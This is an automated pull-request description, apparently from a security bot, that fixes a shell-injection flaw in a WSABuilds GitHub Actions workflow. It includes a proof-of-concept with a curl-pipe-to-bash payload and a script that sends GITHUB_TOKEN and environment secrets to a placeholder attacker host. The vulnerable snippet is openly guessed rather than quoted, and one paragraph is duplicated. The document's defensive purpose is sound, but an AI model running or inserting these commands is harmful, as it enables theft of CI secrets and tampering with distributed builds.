Fix: GitHub Actions Workflow Vulnerable to Code Injection Attack in .github/workflows/build.yml

[orbisai0security]

Context and Purpose:

This PR automatically remediates a security vulnerability:

• Description: Using variable interpolation ${{...}} with github context data in a run: step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. github context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with env: to store the data and use the environment variable in the run: script. Be sure to use double-quotes the environment variable, like this: "$ENVVAR".
• Rule ID: yaml.github-actions.security.run-shell-injection.run-shell-injection
• Severity: HIGH
• File: .github/workflows/build.yml
• Lines Affected: 63 - 75

This change is necessary to protect the application from potential security risks associated with this vulnerability.

Security Impact Assessment:

Aspect	Rating	Rationale
Impact	High	In this repository, which builds and releases Windows Subsystem for Android (WSA) images, exploitation could allow attackers to inject malicious code into the build process, resulting in tampered Android images that users download and install, potentially compromising their Windows systems with malware or backdoors. Additionally, secrets like API keys for releases could be stolen, enabling further attacks on the repository or associated services.
Likelihood	Medium	The repository is public and open-source, accepting contributions via pull requests where attackers could manipulate GitHub context data (e.g., branch names or PR titles) to trigger injection, but this requires specific knowledge of the workflow and may be mitigated by code reviews or GitHub's default protections against untrusted inputs. Given its popularity in the Android modding community, it could attract motivated attackers, though not as a high-profile target for widespread exploitation.
Ease of Fix	Easy	Remediation involves modifying the .github/workflows/build.yml file to replace direct variable interpolation in the run: step with intermediate environment variables using env:, as recommended, which is a straightforward code change requiring no dependencies or architectural shifts. Testing would involve verifying the workflow still builds correctly without breaking existing functionality.

Evidence: Proof-of-Concept Exploitation Demo:

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited:

The vulnerability in the .github/workflows/build.yml file allows shell injection because user-controlled GitHub context data (such as from pull request titles or bodies) is directly interpolated into run: steps without sanitization. An attacker with the ability to create pull requests or issues in the repository (e.g., a contributor or via social engineering) can inject malicious shell commands that execute during the workflow run, potentially stealing secrets or modifying the build process. This is particularly exploitable in WSABuilds, where workflows automate Android image builds and may handle sensitive data like signing keys or API tokens for distribution.

The vulnerability in the .github/workflows/build.yml file allows shell injection because user-controlled GitHub context data (such as from pull request titles or bodies) is directly interpolated into run: steps without sanitization. An attacker with the ability to create pull requests or issues in the repository (e.g., a contributor or via social engineering) can inject malicious shell commands that execute during the workflow run, potentially stealing secrets or modifying the build process. This is particularly exploitable in WSABuilds, where workflows automate Android image builds and may handle sensitive data like signing keys or API tokens for distribution.

# Exploitation Steps: Attacker injects shell commands via a pull request body (assuming the workflow uses ${{ github.event.pull_request.body }} in a run: step, as flagged by semgrep)
# Step 1: Attacker creates a pull request in the WSABuilds repository with a malicious body that includes shell injection payload
# Example PR body: "Fix build issues; curl http://attacker.com/exfil.sh | bash; echo 'Injected'"

# Step 2: The workflow triggers on PR creation (if configured to do so) and executes the run: step, interpolating the PR body directly into a shell command
# Vulnerable workflow snippet (inferred from semgrep rule, assuming something like this in build.yml):
# run: |
#   echo "Processing PR: ${{ github.event.pull_request.body }}"
#   # This executes the injected commands: curl downloads and runs attacker script, potentially exfiltrating secrets

# Step 3: Attacker's script (hosted at http://attacker.com/exfil.sh) could be:
# #!/bin/bash
# # Exfiltrate GITHUB_TOKEN and other secrets to attacker's server
# curl -X POST http://attacker.com/steal -d "token=$GITHUB_TOKEN&secrets=$(env | grep -E '(API|KEY|SECRET)' | base64)"
# # Optionally, modify build artifacts or inject malware into the WSA image
# echo "Malicious code injected into build" >> build.log

# Step 4: Workflow completes, but attacker has exfiltrated data or tampered with the build output (e.g., the APK or image file)
# Note: This assumes the workflow is triggered on pull_request events and uses github.event.pull_request.body in a run: step without env: sanitization.

Exploitation Impact Assessment:

Impact Category	Severity	Description
Data Exposure	High	Successful injection could exfiltrate GitHub secrets (e.g., GITHUB_TOKEN for API access, signing keys for Android APKs, or API keys for artifact distribution platforms like GitHub Releases). Repository code, including proprietary build scripts and WSA image sources, could be stolen or leaked to an attacker-controlled server.
System Compromise	Medium	Limited to the GitHub Actions runner environment (ephemeral Ubuntu containers), where attacker gains execution privileges to run arbitrary commands. No direct host or container escape, but could manipulate build outputs (e.g., inject malware into generated WSA APKs) or access runner-specific data like cached dependencies.
Operational Impact	Medium	Builds could be disrupted or corrupted, leading to failed releases of WSA images. If the workflow uploads artifacts, tampered APKs might be distributed, affecting users who download from the repo. No widespread DoS, but could cause delays in the project's CI/CD pipeline.
Compliance Risk	High	Violates GitHub Actions security best practices and could breach OWASP Top 10 (A03:2021-Injection). For repositories handling software distribution, this risks non-compliance with standards like CIS Controls (for secure CI/CD) or industry regulations if the builds include sensitive features (e.g., data handling in Android apps).

Solution Implemented:

The automated remediation process has applied the necessary changes to the affected code in .github/workflows/build.yml to resolve the identified issue.

Please review the changes to ensure they are correct and integrate as expected.